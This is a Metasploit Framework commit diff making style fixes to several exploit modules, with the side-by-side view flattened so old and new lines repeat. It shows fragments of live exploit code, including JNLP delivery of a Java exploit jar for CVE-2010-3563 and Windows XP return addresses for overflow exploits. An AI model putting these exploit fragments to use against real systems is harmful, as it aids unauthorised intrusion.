style compliance fixes

git-svn-id: file:///home/svn/framework3/trunk@11516 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2011-01-08 01:13:26 +00:00
parent af79f5c0ea
commit 287f4c87fe
16 changed files with 167 additions and 160 deletions

View File

@ -1,5 +1,5 @@
## ##
# $Id: $ # $Id$
## ##
## ##
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'SNMP Set Module', 'Name' => 'SNMP Set Module',
'Version' => '$Revision: $', 'Version' => '$Revision$',
'Description' => %q{ 'Description' => %q{
This module, similar to snmpset tool, uses the SNMP SET request This module, similar to snmpset tool, uses the SNMP SET request
to set information on a network entity. A OID (numeric notation) to set information on a network entity. A OID (numeric notation)

View File

@ -241,7 +241,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def applet_code def applet_code
applet = %Q| applet = <<-EOS
import java.applet.*; import java.applet.*;
import metasploit.*; import metasploit.*;
@ -254,7 +254,7 @@ public class #{datastore["APPLETNAME"]} extends Applet {
} }
} }
} }
| EOS
end end
end end

0
modules/exploits/unix/webapp/redmine_scm_exec.rb Executable file → Normal file
View File

View File

@ -1,5 +1,5 @@
## ##
# $Id: $ # $Id$
## ##
## ##
@ -28,6 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
}, },
'Author' => ['chao-mu'], 'Author' => ['chao-mu'],
'License' => BSD_LICENSE, 'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' => 'References' =>
[ [
['OSVDB' => '50421'], ['OSVDB' => '50421'],

View File

@ -1,5 +1,5 @@
## ##
# $Id: java_basicservice_impl.rb 10488 2010-09-26 23:55:03Z egypt $ # $Id$
## ##
## ##
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Matthias Kaiser', # Discovery, PoC, metasploit module 'Matthias Kaiser', # Discovery, PoC, metasploit module
'egypt' # metasploit module 'egypt' # metasploit module
], ],
'Version' => '$Revision: 10488 $', 'Version' => '$Revision$',
'References' => 'References' =>
[ [
[ 'CVE', '2010-3563' ], [ 'CVE', '2010-3563' ],
@ -87,24 +87,26 @@ class Metasploit3 < Msf::Exploit::Remote
send_response(cli, all, { 'Content-Type' => 'application/octet-stream' }) send_response(cli, all, { 'Content-Type' => 'application/octet-stream' })
when /init.jnlp/ when /init.jnlp/
init = %Q|<?xml version="1.0" encoding="UTF-8"?> init = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp href="#{jpath}/init.jnlp" version="1"> <jnlp href="#{jpath}/init.jnlp" version="1">
#{jnlp_info} #{jnlp_info}
<application-desc main-class="BasicServiceExploit"> <application-desc main-class="BasicServiceExploit">
<argument>#{jpath}</argument> <argument>#{jpath}</argument>
</application-desc> </application-desc>
</jnlp> </jnlp>
| EOS
print_status("Sending init.jnlp") print_status("Sending init.jnlp")
send_response(cli, init, { 'Content-Type' => 'application/x-java-jnlp-file' }) send_response(cli, init, { 'Content-Type' => 'application/x-java-jnlp-file' })
when /exploit.jnlp/ when /exploit.jnlp/
expl = %Q|<?xml version="1.0" encoding="UTF-8"?> expl = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp href="#{jpath}/exploit.jnlp" version="1"> <jnlp href="#{jpath}/exploit.jnlp" version="1">
#{jnlp_info} #{jnlp_info}
<application-desc main-class="Exploit"/> <application-desc main-class="Exploit"/>
</jnlp> </jnlp>
| EOS
print_status("Sending exploit.jnlp") print_status("Sending exploit.jnlp")
send_response(cli, expl, { 'Content-Type' => 'application/x-java-jnlp-file' }) send_response(cli, expl, { 'Content-Type' => 'application/x-java-jnlp-file' })
@ -129,7 +131,8 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def jnlp_info def jnlp_info
%Q|<information> buf <<-EOS
<information>
<title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title> <title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title>
<vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor> <vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
<description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description> <description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
@ -138,6 +141,6 @@ class Metasploit3 < Msf::Exploit::Remote
<java version="1.6+"/> <java version="1.6+"/>
<jar href="#{get_uri}/exploit.jar"/> <jar href="#{get_uri}/exploit.jar"/>
</resources> </resources>
| EOS
end end
end end

View File

@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'Windows XP SP2 - English', { 'Ret' => 0x02291457} ], # 0x02291457 pop, pop, ret dsp_mjMain.dll [ 'Windows XP SP2 - English', { 'Ret' => 0x02291457} ], # 0x02291457 pop, pop, ret dsp_mjMain.dll
], ],
'Privileged' => false, 'Privileged' => false,
'DisclosureDate' => 'July 1 2009',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options( register_options(

View File

@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'Windows XP SP2 - English', { 'Ret' => 0x7c941eed} ], # 0x7c941eed JMP ESP - SHELL32.dll [ 'Windows XP SP2 - English', { 'Ret' => 0x7c941eed} ], # 0x7c941eed JMP ESP - SHELL32.dll
], ],
'Privileged' => false, 'Privileged' => false,
'DisclosureDate' => 'Dec 25 2009',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options( register_options(

View File

@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ [
[ 'Nuance PDF Reader v6.x (XP SP3)', { 'Ret' => 0x10191579, 'Offset' => 1290 } ] #ppr - pluscore.dll [ 'Nuance PDF Reader v6.x (XP SP3)', { 'Ret' => 0x10191579, 'Offset' => 1290 } ] #ppr - pluscore.dll
], ],
'DisclosureDate' => 'Oct 08 2010',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options( register_options(